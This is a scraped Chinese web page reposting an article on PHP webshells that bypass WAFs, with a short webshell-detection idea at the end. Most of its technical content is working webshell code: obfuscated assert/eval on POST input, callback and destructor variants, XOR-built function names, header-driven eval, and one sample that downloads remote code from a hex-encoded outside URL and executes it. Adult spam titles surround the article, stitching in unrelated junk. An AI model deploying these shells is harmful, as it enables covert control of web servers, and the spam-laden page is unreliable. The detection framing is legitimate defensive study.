婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > PHP常見過waf webshell以及最簡單的檢測方法

PHP常見過waf webshell以及最簡單的檢測方法

熱門標簽:百度地圖怎樣標注圖標 廣東廣州在怎么申請400電話 400電話蘭州申請請 電銷機器人問門薩維品牌my 外呼系統能給企業帶來哪些好處 咸寧銷售電銷機器人系統 開發地圖標注類網站 余姚電話機器人 百度地圖標注偏差

前言

之前在Webshell查殺的新思路中留了一個坑 ️,當時沒有找到具體找到全部變量的方法,后來通過學習找到了個打印全部量的方法,并再次學習了下PHP webshell繞過WAF的方法,以此來驗證下此方法是否合理。

如有錯誤,還請指出,不勝感激! :turtle:拜

在那篇文章中我突然想到一種檢測webshell的方法,就是首先獲取到當前文件中的所有變量(不明白的可以先去看下之前的文章),然后再根據正則庫進行靜態檢測。

自認為這種方法雖然會檢測不完全(每個檢測機制都不能保障全部有效),但是感覺非常簡單、實用,也沒那么多高深的道理。

為了驗證該檢測機制,首先了解下目前PHP webshell繞過WAF的方法。

常見繞過WAF的PHP webshell

字符串變形

大小寫、編碼、截取、替換、特殊字符拼接、null、回車、換行、特殊字符串干擾

?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自寫函數

利用 assert()

?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回調函數

?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔術方法、析構函數 __destruct() , __construct()

?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等發起網絡請求再結合 file_get_contents

?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

無字符特征馬

編碼、異或、自增

?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊請求頭

利用 getallheaders()

?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局變量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami為例

就是將函數名、變量名全部變成”亂碼”,且改動任意一個地方,都將導致文件不能運行。具體可訪問: https://www.phpjiami.com/

PHP webshell檢測方法

目前我所了解的webshell檢測方式有:

  1. 機器學習檢測webshell:比如混淆度、最長單詞、重合指數、特征、壓縮比等
  2. 動態檢測(沙箱)
  3. 基于流量模式檢測webshell:agent
  4. 逆向算法+靜態匹配檢測webshell:比如D盾webshell查殺
  5. 根據文件入度出度來檢測

實例展示

這里以PHPjiami的webshell為例,其中 2.php 即為phpjiama的木馬

可以明顯看到明顯的webshell規則了,這樣再用靜態規則、正則等即可輕松檢測到。

簡單檢測思路

檢測思路:

文件上傳->文件包含->獲取所有文件中的變量到臨時文件中->靜態規則匹配臨時文件->返回匹配結果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是諸如下列的靜態檢測規則

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對腳本之家的支持。

您可能感興趣的文章:
  • PHP實現webshell掃描文件木馬的方法
  • 一個ASP.Net下的WebShell實例
  • php木馬webshell掃描器代碼
  • 精確查找PHP WEBSHELL木馬 修正版
  • 精確查找PHP WEBSHELL木馬的方法(1)
  • Webshell基礎知識深入講解

標簽:銅陵 重慶 巴彥淖爾 麗江 鷹潭 臨沂 衡陽 十堰

巨人網絡通訊聲明:本文標題《PHP常見過waf webshell以及最簡單的檢測方法》,本文關鍵詞  PHP,常見過,常,見過,waf,webshell,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《PHP常見過waf webshell以及最簡單的檢測方法》相關的同類信息!
  • 本頁收集關于PHP常見過waf webshell以及最簡單的檢測方法的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    亚洲欧美激情一区二区| 国产精品一卡二卡在线观看| 欧美专区在线观看一区| 美女被吸乳得到大胸91| 亚洲一区电影777| 亚洲乱码国产乱码精品精小说| 久久新电视剧免费观看| 亚洲在线观看免费视频| 国产a视频精品免费观看| 久久综合色8888| 国产伦精品一区二区三区在线观看 | 日本一区二区成人在线| 一区二区三区不卡在线观看| 美女视频网站久久| 日韩欧美国产综合在线一区二区三区| 久久久久久久久久久久电影| 亚洲电影一级黄| 欧美精品九九99久久| 视频在线观看91| 精品1区2区3区| 日韩在线观看一区二区| 日韩精品一区二区三区蜜臀| 天天色综合天天| 制服丝袜亚洲色图| 久久精品国产免费| 国产欧美视频一区二区| 国产精品三级av| 在线观看一区日韩| 日本不卡中文字幕| 中文字幕欧美一| 粉嫩久久99精品久久久久久夜| 国产午夜精品在线观看| 色婷婷综合久久久中文一区二区| 久久精品男人天堂av| 99国产精品国产精品毛片| 亚洲一区二区视频在线| 91精品中文字幕一区二区三区| 久久久久久久久岛国免费| 亚洲va欧美va人人爽午夜| 精品国产乱码久久久久久闺蜜| 成人精品视频网站| 国产一区中文字幕| 天使萌一区二区三区免费观看| 国产亚洲婷婷免费| 欧美一区二区成人| 欧美色涩在线第一页| av高清不卡在线| www.亚洲人| 91福利国产精品| 欧美日韩在线三级| 在线影视一区二区三区| 91在线精品一区二区三区| gogo大胆日本视频一区| 色综合激情五月| 欧美精品在线一区二区三区| 欧美亚洲一区三区| 欧美丰满少妇xxxxx高潮对白| 欧美色图天堂网| 欧美大片一区二区三区| 精品久久99ma| 国产精品人成在线观看免费| 亚洲欧美一区二区在线观看| 亚洲精品成人在线| 日韩成人伦理电影在线观看| 国产一二精品视频| 欧美视频你懂的| 国产亲近乱来精品视频| 亚洲国产欧美在线| 93久久精品日日躁夜夜躁欧美| 欧美日韩国产片| 国产精品护士白丝一区av| 六月丁香综合在线视频| 91蝌蚪porny九色| 国产欧美日本一区视频| 蜜臀av一区二区| 欧美色精品天天在线观看视频| 欧美激情中文不卡| 国产美女精品人人做人人爽| 正在播放亚洲一区| 亚洲制服丝袜av| 91网站视频在线观看| 中国av一区二区三区| 国产精品 日产精品 欧美精品| 欧美二区在线观看| 亚洲国产美国国产综合一区二区| 精品在线亚洲视频| 日韩欧美一区中文| 91网站最新地址| 欧美视频一区在线| 精品人在线二区三区| 国产日韩精品久久久| 日本aⅴ亚洲精品中文乱码| 风间由美性色一区二区三区| 欧美乱熟臀69xxxxxx| 国产精品午夜春色av| 另类小说欧美激情| 欧美日韩日本视频| 中文字幕中文在线不卡住| 蜜桃av一区二区| 欧美日本视频在线| 亚洲制服丝袜在线| 91免费国产在线| 亚洲精品乱码久久久久久黑人| 成人精品一区二区三区中文字幕| 日韩一级黄色大片| 美女www一区二区| 国产片一区二区| 99久久国产综合精品色伊| 国产精品视频免费看| 成人高清视频在线| 亚洲欧美日韩国产综合| 成人91在线观看| 一区二区三区国产精品| 欧美剧情片在线观看| 免费一级欧美片在线观看| 久久亚区不卡日本| 色综合一区二区| 国产一区欧美日韩| 一区二区三区日韩精品视频| 日韩午夜av一区| 99久久精品免费观看| 亚洲五码中文字幕| 国产一区二区三区在线观看免费| 欧美二区在线观看| 色偷偷久久一区二区三区| 日本sm残虐另类| 午夜欧美电影在线观看| 国产精品嫩草久久久久| 日本精品一区二区三区高清 | 日韩精品一区二区三区老鸭窝| 国产成人免费视频一区| 日韩激情视频在线观看| 中文字幕日韩欧美一区二区三区| 日韩一级片网址| 欧美熟乱第一页| 色婷婷av一区二区三区gif| 国产精品一二二区| 91麻豆高清视频| 亚洲国产中文字幕| 国产精品成人免费| 色婷婷av一区二区| jlzzjlzz欧美大全| 欧美午夜精品久久久久久超碰| 波多野结衣一区二区三区| 国产高清精品久久久久| 国产99一区视频免费| 国产suv精品一区二区883| 粉嫩蜜臀av国产精品网站| 成人黄页在线观看| 9191久久久久久久久久久| 欧美成人一区二区三区在线观看 | 欧美系列亚洲系列| 777久久久精品| 国产午夜精品久久久久久久| 国产精品国产三级国产aⅴ原创| 亚洲欧美经典视频| 午夜精品一区二区三区电影天堂 | 亚洲国产日韩一级| 狠狠色综合色综合网络| 99精品视频一区二区三区| 欧美在线999| 国产亲近乱来精品视频| 天天色综合天天| 欧美影院一区二区| 国产精品国产自产拍高清av| 一区二区三区波多野结衣在线观看| 全国精品久久少妇| 欧美日产在线观看| ...av二区三区久久精品| 毛片不卡一区二区| 欧美日韩五月天| 一区二区免费视频| 亚洲午夜久久久久久久久电影网 | 亚洲电影一区二区三区| 国产精品一区专区| 欧美岛国在线观看| 久88久久88久久久| 久久久久久免费网| 国产电影一区二区三区| 久久综合色综合88| 成人美女在线观看| 国产精品私人自拍| 91性感美女视频| 午夜亚洲国产au精品一区二区| 欧美性色黄大片手机版| 亚洲成人资源网| 精品乱人伦一区二区三区| 国产另类ts人妖一区二区| 亚洲视频一二三| 国产福利91精品一区| 国产欧美日韩另类一区| 青草国产精品久久久久久| 国产高清精品久久久久| 精品国产电影一区二区| 色激情天天射综合网| |精品福利一区二区三区| 欧美电影免费提供在线观看| 91在线视频播放| 成人免费毛片嘿嘿连载视频| 欧美一二三四在线|